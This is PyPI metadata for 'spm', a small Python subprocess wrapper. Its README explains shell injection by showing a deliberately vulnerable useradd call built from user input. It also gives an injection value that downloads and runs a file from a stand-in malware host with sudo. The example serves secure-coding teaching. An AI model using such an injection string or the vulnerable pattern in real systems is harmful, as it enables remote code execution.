{ "info": { "author": "Antoine Catton", "author_email": "devel at antoine dot catton dot fr", "bugtrack_url": null, "classifiers": [ "Development Status :: 4 - Beta", "Environment :: Console", "Intended Audience :: Developers", "Intended Audience :: System Administrators", "License :: OSI Approved :: MIT License", "Operating System :: POSIX", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3.3", "Programming Language :: Python :: 3.4", "Programming Language :: Unix Shell", "Topic :: System :: System Shells" ], "description": "spm (SubProcessesManager)\n=========================\n\n.. code:: python\n\n >>> import spm\n >>> spm.run('echo', '-n', 'hello world').stdout.read()\n 'hello world'\n >>> import functools\n >>> git = functools.partial(spm.run, 'git')\n >>> git('status', '-z').stdout.read().split(b'\\x00')\n [' M spm.py', '']\n\nThis provides a very thin KISS layer on top of the python standard library's\n``subprocess`` module. This library supports Python 2 and Python 3.\n\nThis makes it easy to pipe subprocesses, and pipe subprocesses input/output\nto files.\n\nIt only has four rules:\n\n* Simple programming interface\n* Don't reimplement the wheel. (It tries uses the ``subprocess`` standard\n module as much as possible) \n* It only does one thing, and try to do it well.\n* Use argument list instead of one command string.\n\nSecure subprocess invokation\n----------------------------\n\nFor those who don't understand the last rule. There are two ways to ways to\ninvoke subprocesses in python: One method is insecure, the other one is\nsecure.\n\n.. code:: python\n\n import subprocess\n\n # Insecure subprocess invocation\n subprocess.check_call(\"echo foo\", shell=True)\n # Secure subprocess invocation\n subprocess.check_call(['echo', 'foo'])\n\nThe second one is secure, because it prevents shell code injection. If we over\nsimplify, the first method, could be implemented this way:\n\n.. code:: python\n\n def insecure_check_call(command_line):\n \"\"\"\n Same as check_call(shell=True)\n \"\"\"\n # Runs /bin/bash -c \"the given command line\"\n subprocess.check_call(['/bin/bash', '-c', command_line])\n\n\nLet's use the following code as example:\n\n.. code:: python\n\n import subprocess\n # Get insecure and unchecked data from a user\n from somewhere import get_login_from_user()\n\n def create_user():\n cmd = \"sudo useradd '{}'\".format(get_login_from_user())\n subprocess.check_call(cmd)\n\nA user can inject code if they enter the login\n``' || wget http://malware.example.com/malware -O /tmp && sudo /tmp/malware``.\nBecause this will execute:\n``sudo user '' || wget [...] -O /tmp && sudo /tmp/malware``.\n\nWhy another library?\n--------------------\n\n.. image:: https://imgs.xkcd.com/comics/standards.png\n :alt: XKCD Comic strip: \"How Standards Profilef\n :align: center\n\nHere are the existing libraries:\n\n* sh_: doing to much. The programming interface for piping commands is\n complex and bad.\n* execute_: old, vulnerable to shell injection.\n\nAnd many other are unmaintained or worse.\n\n.. _sh: https://amoffat.github.io/sh/\n.. _execute: https://pythonhosted.org/execute/\n\n\nWhat do you mean by KISS?\n-------------------------\n\nKISS lost it original sense. Now it's just an hipster word which means \"just\nuse my library because it's cool\".\n\nHere I mean KISS in its original sense: Keep It Simple and Stupid.\n\n* Simple: this library is one file with less than 500 lines (excluding testing)\n* Stupid: this library has two functions: ``pipe()`` and ``run()``", "description_content_type": null, "docs_url": null, "download_url": "UNKNOWN", "downloads": { "last_day": -1, "last_month": -1, "last_week": -1 }, "home_page": "https://github.com/acatton/python-spm", "keywords": "api exec execute fork output pipe process processes redirect safe sh shell subprocess", "license": "MIT", "maintainer": null, "maintainer_email": null, "name": "spm", "package_url": "https://pypi.org/project/spm/", "platform": "UNKNOWN", "project_url": "https://pypi.org/project/spm/", "project_urls": { "Download": "UNKNOWN", "Homepage": "https://github.com/acatton/python-spm" }, "release_url": "https://pypi.org/project/spm/0.9.1/", "requires_dist": null, "requires_python": null, "summary": "SubProcess Manager provides a simple programming interface to safely run, pipe and redirect output of subprocesses.", "version": "0.9.1" }, "last_serial": 1491949, "releases": { "0.9.0": [ { "comment_text": "", "digests": { "md5": "5de5fef2d0deec9141dea9e237349e49", "sha256": "9f8201e9ac5865fa4d3bdca110557dc1507fc17bd9a54f37bef6a7cb6daffa5e" }, "downloads": -1, "filename": "spm-0.9.0.tar.gz", "has_sig": false, "md5_digest": "5de5fef2d0deec9141dea9e237349e49", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 4844, "upload_time": "2015-04-05T09:46:14", "url": "https://files.pythonhosted.org/packages/69/a7/1a359b729292b2d08a0e06bad310b5c871804ca77ee36bbd9441cc9be00a/spm-0.9.0.tar.gz" } ], "0.9.1": [ { "comment_text": "", "digests": { "md5": "edc3ff7f198b4d8e27a21d3c1d04df5f", "sha256": "c17d31035ebc553d730f3faf17e2e4041bfccba70020fdf6eb57412563a37988" }, "downloads": -1, "filename": "spm-0.9.1.tar.gz", "has_sig": false, "md5_digest": "edc3ff7f198b4d8e27a21d3c1d04df5f", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 4836, "upload_time": "2015-04-05T19:19:51", "url": "https://files.pythonhosted.org/packages/94/ad/b6a1f7f5f9f95ad223ffb3fabbdac7a3ae5ff9be6a9f6075ac69b6160c45/spm-0.9.1.tar.gz" } ] }, "urls": [ { "comment_text": "", "digests": { "md5": "edc3ff7f198b4d8e27a21d3c1d04df5f", "sha256": "c17d31035ebc553d730f3faf17e2e4041bfccba70020fdf6eb57412563a37988" }, "downloads": -1, "filename": "spm-0.9.1.tar.gz", "has_sig": false, "md5_digest": "edc3ff7f198b4d8e27a21d3c1d04df5f", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 4836, "upload_time": "2015-04-05T19:19:51", "url": "https://files.pythonhosted.org/packages/94/ad/b6a1f7f5f9f95ad223ffb3fabbdac7a3ae5ff9be6a9f6075ac69b6160c45/spm-0.9.1.tar.gz" } ] }